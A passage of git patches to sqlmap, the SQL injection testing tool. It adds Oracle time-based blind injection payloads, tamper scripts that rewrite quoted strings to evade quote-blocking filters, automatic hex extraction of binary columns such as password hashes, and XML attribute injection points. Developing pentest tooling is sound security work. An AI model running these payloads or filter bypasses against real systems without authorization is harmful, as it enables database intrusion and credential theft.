COUNT(*) FROM users)": "2", - self.DIALECT.row(["id", "name"], "users", 0): gql.COL_SEP.join(("1", "alice")), - self.DIALECT.row(["id", "name"], "users", 1): gql.COL_SEP.join(("2", "bob")), + d.row(["id", "name"], "users", 0): gql.COL_SEP.join(("1", "alice")), + d.row(["id", "name"], "users", 1): gql.COL_SEP.join(("2", "bob")), } def infer(expr, maxLen=gql.MAX_LENGTH): From 827ec0a06ca7824be26ce17f3784087e316b0cee Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 15:07:16 +0200 Subject: [PATCH 727/853] Minor update for Oracle support --- data/xml/payloads/time_blind.xml | 39 +++++++++++++++++++++++ lib/core/settings.py | 2 +- tamper/dollarquote.py | 44 ++++++++++++++++++++++++++ tamper/oraclequote.py | 53 ++++++++++++++++++++++++++++++++ 4 files changed, 137 insertions(+), 1 deletion(-) create mode 100644 tamper/dollarquote.py create mode 100644 tamper/oraclequote.py diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index fe9de254cc4..1370b8b262e 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -1776,6 +1776,26 @@ + + + Oracle time-based blind - Parameter replace (DBMS_SESSION.SLEEP) + 5 + 3 + 1 + 1,3,9 + 3 + BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END; + + BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END; + + + + +
+ Oracle +
+
+ Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP) 5 @@ -2072,6 +2092,25 @@ + + Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_SESSION.SLEEP) + 5 + 3 + 1 + 2,3 + 1 + ,(BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;) + + ,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;) + + + + +
+ Oracle +
+
+ Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP) 5 diff --git a/lib/core/settings.py b/lib/core/settings.py index 4a621142116..5ec28a349d6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.70" +VERSION = "1.10.7.71" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/dollarquote.py b/tamper/dollarquote.py new file mode 100644 index 00000000000..bb268b0362c --- /dev/null +++ b/tamper/dollarquote.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL)) + +def tamper(payload, **kwargs): + """ + Replaces single-quoted strings with PostgreSQL dollar-quoted strings (e.g. 'abc' -> $$abc$$) + + Requirement: + * PostgreSQL + + Tested against: + * PostgreSQL 9.x, 10-16 + + Notes: + * Useful to bypass filters that block, strip or escape the single-quote + character: dollar-quoting is quote-free and needs no escaping + * A literal already containing '$$' is left untouched + + >>> tamper("SELECT 'abc' FROM t WHERE x='def'") + 'SELECT $$abc$$ FROM t WHERE x=$$def$$' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"'([^']*)'", lambda match: "$$%s$$" % match.group(1) if "$$" not in match.group(1) else match.group(0), payload) + + return retVal diff --git a/tamper/oraclequote.py b/tamper/oraclequote.py new file mode 100644 index 00000000000..6b0416357d9 --- /dev/null +++ b/tamper/oraclequote.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ORACLE)) + +def tamper(payload, **kwargs): + """ + Replaces single-quoted strings with Oracle alternative-quoted strings (e.g. 'abc' -> q'[abc]') + + Requirement: + * Oracle 10g+ + + Tested against: + * Oracle 11g, 12c, 18c, 19c, 21c, 23ai + + Notes: + * Useful to bypass filters that block, strip or escape the single-quote + character: q-quoting delimits the literal with a chosen bracket/char + so the inner text needs no quote at all + * The first delimiter whose characters are absent from the literal is + used; a literal that contains every candidate delimiter is left untouched + + >>> tamper("SELECT 'abc' FROM DUAL") + "SELECT q'[abc]' FROM DUAL" + """ + + def _quote(match): + value = match.group(1) + for start, end in (("[", "]"), ("{", "}"), ("(", ")"), ("<", ">"), ("!", "!"), ("|", "|"), ("#", "#")): + if start not in value and end not in value: + return "q'%s%s%s'" % (start, value, end) + return match.group(0) + + retVal = payload + + if payload: + retVal = re.sub(r"'([^']*)'", _quote, payload) + + return retVal From 52c742458bb1fa4913d4bf790924fe376c6bcf77 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 16:23:19 +0200 Subject: [PATCH 728/853] Adding support for Oracle 12C password hashes --- data/xml/queries.xml | 4 ++-- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- lib/utils/hash.py | 21 ++++++++++++++++++++- 4 files changed, 24 insertions(+), 4 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index addf84a4643..b00389ad68e 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -280,8 +280,8 @@
- - + + @@ -119,8 +119,8 @@
- - + + @@ -163,7 +163,7 @@ - + @@ -384,7 +384,7 @@ - + @@ -959,8 +959,8 @@ - - + + @@ -1158,7 +1158,7 @@ - + /> diff --git a/lib/core/agent.py b/lib/core/agent.py index 5db8f450a66..520fc99146d 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -508,10 +508,26 @@ def nullAndCastField(self, field): if field and Backend.getIdentifiedDbms(): rootQuery = queries[Backend.getIdentifiedDbms()] + kb.binaryField = conf.binaryFields and field in conf.binaryFields + hexConvert = conf.hexConvert or kb.binaryField + + # For BINARY fields, wrap the RAW column with the hex function rather than the text-casted one: + # text-casting binary first (e.g. CAST( AS NCHAR) on MySQL) NULLs non-text bytes, so HEX() + # would encode the NULL placeholder and silently lose the value (e.g. binary-stored password + # hashes). This is limited to binary fields: the blanket '--hex' keeps the cast-first path because + # raw-hexing a numeric/temporal column uses the DBMS's numeric HEX semantics (MySQL HEX(255)='FF'), + # which is NOT the hex of its string representation. Every DBMS hex function takes binary directly + # EXCEPT PostgreSQL's CONVERT_TO() (needs text), so PostgreSQL stays on the cast-first path too. + hexRaw = kb.binaryField and not Backend.isDbms(DBMS.PGSQL) + if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and Backend.getIdentifiedDbms() == DBMS.MSSQL): nulledCastedField = field + if hexConvert: + nulledCastedField = self.hexConvertField(nulledCastedField) else: - if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): + if hexRaw: + nulledCastedField = self.hexConvertField(field) + elif not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): nulledCastedField = rootQuery.cast.query % field if re.search(r"COUNT\(", field) and Backend.getIdentifiedDbms() in (DBMS.RAIMA,): @@ -521,9 +537,8 @@ def nullAndCastField(self, field): else: nulledCastedField = rootQuery.isnull.query % nulledCastedField - kb.binaryField = conf.binaryFields and field in conf.binaryFields - if conf.hexConvert or kb.binaryField: - nulledCastedField = self.hexConvertField(nulledCastedField) + if hexConvert and not hexRaw: + nulledCastedField = self.hexConvertField(nulledCastedField) if suffix: nulledCastedField += suffix diff --git a/lib/core/settings.py b/lib/core/settings.py index 53eb16b54b1..f4ca3fd09e5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.75" +VERSION = "1.10.7.76" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -885,6 +885,11 @@ # Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash" +# Regular expression matching (declared) binary column types, used to auto-hex their values during dumping +# so raw bytes (e.g. password hashes stored in binary form) are not silently truncated at NUL / mangled by +# the text extraction channel (mirrors a manual '--binary-fields', using the already-fetched column type) +BINARY_FIELDS_TYPE_REGEX = r"(?i)binary|blob|bytea|image|\braw\b" + # Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce MAX_SINGLE_URL_REDIRECTIONS = 4 diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 30ee710270b..ca4a3d54a19 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -40,6 +40,7 @@ from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.core.settings import BINARY_FIELDS_TYPE_REGEX from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB from lib.core.settings import KEYSET_MIN_ROWS @@ -114,6 +115,8 @@ def dumpTable(self, foundData=None): for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) + binaryFields = conf.binaryFields # user-provided '--binary-fields' (auto-detected ones are added per-table) + for tbl in tblList: if kb.dumpKeyboardInterrupt: break @@ -169,6 +172,18 @@ def dumpTable(self, foundData=None): colNames = colString = ','.join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table + # Auto-treat binary-typed columns (blob/varbinary/bytea/image/raw) as '--binary-fields', so their + # raw bytes (e.g. password hashes stored in binary form) are hex-extracted instead of being + # silently truncated at a NUL / mangled by the text channel (issues #8, #582, #2827). The column + # type is already known from the enumeration above, so this costs no extra request. + # (PostgreSQL excluded: its bytea already renders as readable '\xHEX' through the default text + # cast, and its hex path needs text input, so auto-hexing would double-encode.) + autoBinary = [] if Backend.isDbms(DBMS.PGSQL) else [column for column in colList if columns.get(column) and re.search(BINARY_FIELDS_TYPE_REGEX, getUnicode(columns[column]))] + conf.binaryFields = (list(binaryFields) if binaryFields else []) + [_ for _ in autoBinary if not (binaryFields and _ in binaryFields)] + if autoBinary: + debugMsg = "auto-treating binary column(s) '%s' as binary fields" % ', '.join(unsafeSQLIdentificatorNaming(_) for _ in autoBinary) + logger.debug(debugMsg) + infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colNames @@ -572,6 +587,7 @@ def cellQuery(column, index): finally: kb.dumpColumns = None kb.dumpTable = None + conf.binaryFields = binaryFields # restore user-provided value (drop this table's auto-detected ones) def dumpAll(self): if conf.db is not None and conf.tbl is None: diff --git a/tests/test_dialect.py b/tests/test_dialect.py index 5e82127633c..871f1622996 100644 --- a/tests/test_dialect.py +++ b/tests/test_dialect.py @@ -68,9 +68,10 @@ class TestNullAndCastField(unittest.TestCase): CASES = { DBMS.MYSQL: "IFNULL(CAST(col AS NCHAR),' ')", - DBMS.MSSQL: "ISNULL(CAST(col AS NVARCHAR(4000)),' ')", + # MSSQL/PGSQL casts are unbounded (NVARCHAR(MAX)/TEXT) so long values are not silently truncated + DBMS.MSSQL: "ISNULL(CAST(col AS NVARCHAR(MAX)),' ')", DBMS.SYBASE: "ISNULL(CONVERT(VARCHAR(4000),col),' ')", - DBMS.PGSQL: "COALESCE(CAST(col AS VARCHAR(10000))::text,' ')", + DBMS.PGSQL: "COALESCE(CAST(col AS TEXT)::text,' ')", DBMS.ORACLE: "NVL(CAST(col AS VARCHAR(4000)),' ')", } From 8bc0f4794ccd4f35d949829d682956f886b7eb42 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 11 Jul 2026 12:54:33 +0200 Subject: [PATCH 733/853] Fixes #5933 --- lib/core/settings.py | 2 +- lib/core/target.py | 16 ++++++++++++++++ tests/test_payload_marking.py | 9 ++++++++- 3 files changed, 25 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f4ca3fd09e5..e396b3782f3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.76" +VERSION = "1.10.7.77" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 0aff961612c..dd1fd34ae35 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -214,6 +214,22 @@ def process(match, repl): conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % kb.customInjectionMark), conf.data) + # Also expose XML attribute values (e.g. ) as injection points, not just + # element text (Reference: https://github.com/sqlmapproject/sqlmap/issues/5993). Done per + # opening tag (skipping declarations, and closing tags) so every attribute + # is covered while the XML declaration/namespaces are left intact. + def processAttributes(match): + def _attr(m): + name = m.group("name") + if name == "xmlns" or name.startswith("xmlns:"): # namespace declarations are not injection points + return m.group(0) + if conf.testParameter and name not in (removePostHintPrefix(_) for _ in conf.testParameter): + return m.group(0) + hintNames.append(("%s%s%s" % (m.group(1), m.group(3), m.group(4)), name)) + return "%s%s%s%s%s" % (m.group(1), m.group(3), m.group(4), kb.customInjectionMark, m.group(5)) + return re.sub(r'(\s(?P[\w:.-]+)\s*=\s*)(["\'])([^"\'<>]*)(["\'])', _attr, match.group(0)) + conf.data = re.sub(r"(?s)<[^>?!/][^>]*>", processAttributes, conf.data) + elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data): message = "Multipart-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " diff --git a/tests/test_payload_marking.py b/tests/test_payload_marking.py index f0271bf9c53..5b014e82999 100644 --- a/tests/test_payload_marking.py +++ b/tests/test_payload_marking.py @@ -175,10 +175,17 @@ def mark(self, data): CASES = [ ("x", "x*"), - ('x', 'x*'), + # attribute values are now marked too, not just element text (issue #5993) + ('x', 'x*'), ("bob5", "bob*5*"), ("v", "v*"), ("1", "1*"), + # multiple attributes and single-quoted attribute values + ('y', 'y*'), + ("y", "y*"), + # XML declaration and namespace declarations are left intact (not injection points) + ('y', 'y*'), + ('y', 'y*'), ] def test_cases(self): From fb9cec1e976f2433d336ff25d4413580dcba22b8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 11 Jul 2026 13:41:03 +0200 Subject: [PATCH 734/853] Auto recognize binary fields in blind cases --- lib/core/settings.py | 6 +++- plugins/generic/databases.py | 53 ++++++++++++++++++++++++++---------- 2 files changed, 43 insertions(+), 16 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e396b3782f3..a2edac8b4c4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.77" +VERSION = "1.10.7.78" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -890,6 +890,10 @@ # the text extraction channel (mirrors a manual '--binary-fields', using the already-fetched column type) BINARY_FIELDS_TYPE_REGEX = r"(?i)binary|blob|bytea|image|\braw\b" +# Uppercased keywords of the above, for building an in-SQL "is this column binary-typed?" check when only +# column names (not types) were fetched - i.e. blind dumping (keep in sync with BINARY_FIELDS_TYPE_REGEX) +BINARY_FIELDS_TYPE_KEYWORDS = ("BINARY", "BLOB", "BYTEA", "IMAGE", "RAW") + # Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce MAX_SINGLE_URL_REDIRECTIONS = 4 diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 7b50b634460..b648714bdef 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -46,6 +46,7 @@ from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import BINARY_FIELDS_TYPE_KEYWORDS from lib.core.settings import CURRENT_DB from lib.core.settings import METADB_SUFFIX from lib.core.settings import PLUS_ONE_DBMSES @@ -931,7 +932,16 @@ def columnNameQuery(index): warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) - if not onlyColNames: + # In dump mode we don't need the exact type, only whether the column is binary (so its raw + # bytes get hex-extracted instead of mangled/truncated - issues #8/#582/#2827). Rather than + # extract the whole type string char-by-char, wrap the type query into a single-bit check and + # extract just that (~10x fewer requests). Skipped where query2 doesn't yield a type name: + # MSSQL (returns the column name), Firebird/Informix (numeric type codes), and PostgreSQL + # (its bytea already renders fine, so it's excluded from auto-hexing anyway). + binaryProbe = onlyColNames and dumpMode and not Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL, DBMS.FIREBIRD, DBMS.INFORMIX) + + if not onlyColNames or binaryProbe: + query = None if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): @@ -947,22 +957,35 @@ def columnNameQuery(index): elif Backend.isDbms(DBMS.SPANNER): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(conf.db)) - colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) - key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType + if binaryProbe and query: + typeMatch = re.match(r"(?is)\s*SELECT\s+(.+?)\s+FROM\s+(.+)", query) + if typeMatch: + binaryCondition = " OR ".join("UPPER(%s) LIKE '%%%s%%'" % (typeMatch.group(1), _) for _ in BINARY_FIELDS_TYPE_KEYWORDS) + query = "SELECT (CASE WHEN %s THEN 1 ELSE 0 END) FROM %s" % (binaryCondition, typeMatch.group(2)) + else: + query = None # unexpected shape - fall back to leaving the type unknown - if Backend.isDbms(DBMS.FIREBIRD): - colType = FIREBIRD_TYPES.get(key, colType) - elif Backend.isDbms(DBMS.INFORMIX): - notNull = False - if isinstance(key, int) and key > 255: - key -= 256 - notNull = True - colType = INFORMIX_TYPES.get(key, colType) - if notNull: - colType = "%s NOT NULL" % colType + colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) if query else None - column = safeSQLIdentificatorNaming(column) - columns[column] = colType + if binaryProbe: + column = safeSQLIdentificatorNaming(column) + columns[column] = "binary" if colType in ('1', 1) else None # sentinel matched by BINARY_FIELDS_TYPE_REGEX + else: + key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType + + if Backend.isDbms(DBMS.FIREBIRD): + colType = FIREBIRD_TYPES.get(key, colType) + elif Backend.isDbms(DBMS.INFORMIX): + notNull = False + if isinstance(key, int) and key > 255: + key -= 256 + notNull = True + colType = INFORMIX_TYPES.get(key, colType) + if notNull: + colType = "%s NOT NULL" % colType + + column = safeSQLIdentificatorNaming(column) + columns[column] = colType else: column = safeSQLIdentificatorNaming(column) columns[column] = None From d9a4a0992fc3db3f67acf616550806db1bcd2d92 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 11 Jul 2026 14:11:13 +0200 Subject: [PATCH 735/853] Minor patch --- lib/core/settings.py | 2 +- plugins/dbms/hsqldb/filesystem.py | 2 +- plugins/dbms/informix/fingerprint.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a2edac8b4c4..14c97ba3431 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.78" +VERSION = "1.10.7.79" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index 869279e7e4a..2bd06696c50 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -52,7 +52,7 @@ def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=Fals logger.debug("cleaning up the database management system") - delQuery = "DELETE PROCEDURE %s" % func_name + delQuery = "DROP PROCEDURE %s" % func_name inject.goStacked(delQuery) message = "the local file '%s' has been written on the back-end DBMS" % localFile diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index f71e6deff80..9936a4deeec 100644 --- a/plugins/dbms/informix/fingerprint.py +++ b/plugins/dbms/informix/fingerprint.py @@ -97,7 +97,7 @@ def checkDbms(self): logger.info(infoMsg) for version in ("14.1", "12.1", "11.7", "11.5", "10.0"): - output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version) + output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION','FULL') LIKE '%%%s%%')" % version) if output: Backend.setVersion(version) From 97c8b45ccc58c558e958677323677c994d8239d4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 11 Jul 2026 14:52:55 +0200 Subject: [PATCH 736/853] Minor patches --- lib/core/settings.py | 2 +- lib/utils/prove.py | 11 ++++++++++- lib/utils/sqlalchemy.py | 9 +++++++++ tamper/space2mssqlhash.py | 3 ++- 4 files changed, 22 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 14c97ba3431..cc83bda6215 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.79" +VERSION = "1.10.7.80" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/prove.py b/lib/utils/prove.py index af11306c930..fccd275dc98 100644 --- a/lib/utils/prove.py +++ b/lib/utils/prove.py @@ -347,6 +347,10 @@ def proveExploitation(): # back, exploitation is NOT proven; say so plainly instead of echoing the detection verdict. proven = bool(rungs) + # whether ANY confirmed technique here can return data inline; a stacked-query-only point cannot, so a + # failed read-back below is expected there and must NOT be spun into a "false positive" verdict + canReadBack = any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.TIME)) + if proven: if proof: fields.append(_field("Proof", proof)) @@ -361,7 +365,12 @@ def proveExploitation(): verdict = ["no value could be read back through the injection (tried a random arithmetic product and the DBMS banner)"] if suspectWaf: verdict.append("the TRUE/FALSE difference is only an HTTP %s (blocked) response - characteristic of a WAF/IPS, not a database answer" % signal.get("trueCode")) - if wafInterfering: + if not canReadBack: + # e.g. stacked-query-only: no confirmed technique returns data inline, so a value cannot be read + # back here - that is expected by design and is NOT evidence of a false positive + verdict.append("this injection point exposes no data-returning channel (e.g. stacked queries), so a value cannot be read back inline - expected here, not a false positive") + verdict.append("=> confirm exploitation through a side effect instead (e.g. '--os-shell', or '--sql-query' run with '--technique=S')") + elif wafInterfering: # behind a WAF, an unconfirmed read-back is ambiguous: a genuine injection whose data-retrieval # payloads are being blocked looks the same as a pure WAF artifact - so don't assert "false # positive", point the user at the way to disambiguate instead diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index d6d702ffc43..8d8080141b7 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -131,6 +131,15 @@ def execute(self, query): retVal = True except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + # Roll back the failed statement's transaction so it does not poison every following query with + # 'InFailedSqlTransaction' (SQLAlchemy 2.0+ keeps the transaction open after an error). Without this + # a single legitimately-failing probe - e.g. AURORA_VERSION() on vanilla PostgreSQL during + # fingerprinting - made all later queries silently return wrong values (e.g. '--is-dba' read False) + if hasattr(self.connector, "rollback"): + try: + self.connector.rollback() + except Exception: + pass except _sqlalchemy.exc.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index befd6966ee0..880fdb8f954 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -15,11 +15,12 @@ def tamper(payload, **kwargs): Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') Requirement: - * MSSQL * MySQL Notes: * Useful to bypass several web application firewalls + * The '#' single-line comment used here is MySQL-only (despite this script's legacy name); + T-SQL has no '#' comment, so it does not apply to Microsoft SQL Server >>> tamper('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' From ab59a4b72a0f75efcd5dfd5c6b67ed288357530a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 11 Jul 2026 15:18:42 +0200 Subject: [PATCH 737/853] Minor patches --- lib/core/settings.py | 2 +- lib/request/direct.py | 17 +++++++++++++++++ lib/utils/sqlalchemy.py | 19 +++++++++++++++---- plugins/dbms/mssqlserver/connector.py | 13 +++++++++++-- plugins/dbms/mysql/connector.py | 3 +-- plugins/dbms/postgresql/connector.py | 5 ++++- plugins/dbms/postgresql/takeover.py | 3 ++- plugins/dbms/sybase/connector.py | 13 +++++++++++-- 8 files changed, 62 insertions(+), 13 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index cc83bda6215..43a1bf9dc85 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.80" +VERSION = "1.10.7.81" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/direct.py b/lib/request/direct.py index 171f37151d6..6316e6dcf89 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -5,6 +5,7 @@ See the file 'LICENSE' for copying permission """ +import binascii import re import time @@ -29,6 +30,20 @@ from lib.utils.safe2bin import safecharencode from lib.utils.timeout import timeout +def _hexifyBinary(value): + """ + Renders a raw binary cell returned by a driver in -d mode as uppercase hex, instead of letting it reach + the text channel as a str() like '' (PostgreSQL bytea -> psycopg2 memoryview) or a + control-character blob that gets blanked/corrupted (e.g. MSSQL varbinary -> bytes). Text columns come back + as native strings, so only genuine binary values are converted (matches HEX()-based rendering elsewhere). + """ + + if isinstance(value, memoryview): + value = value.tobytes() + if isinstance(value, (bytes, bytearray)): + return getUnicode(binascii.hexlify(value)).upper() + return value + def direct(query, content=True): select = True query = agent.payloadDirect(query) @@ -63,6 +78,8 @@ def direct(query, content=True): 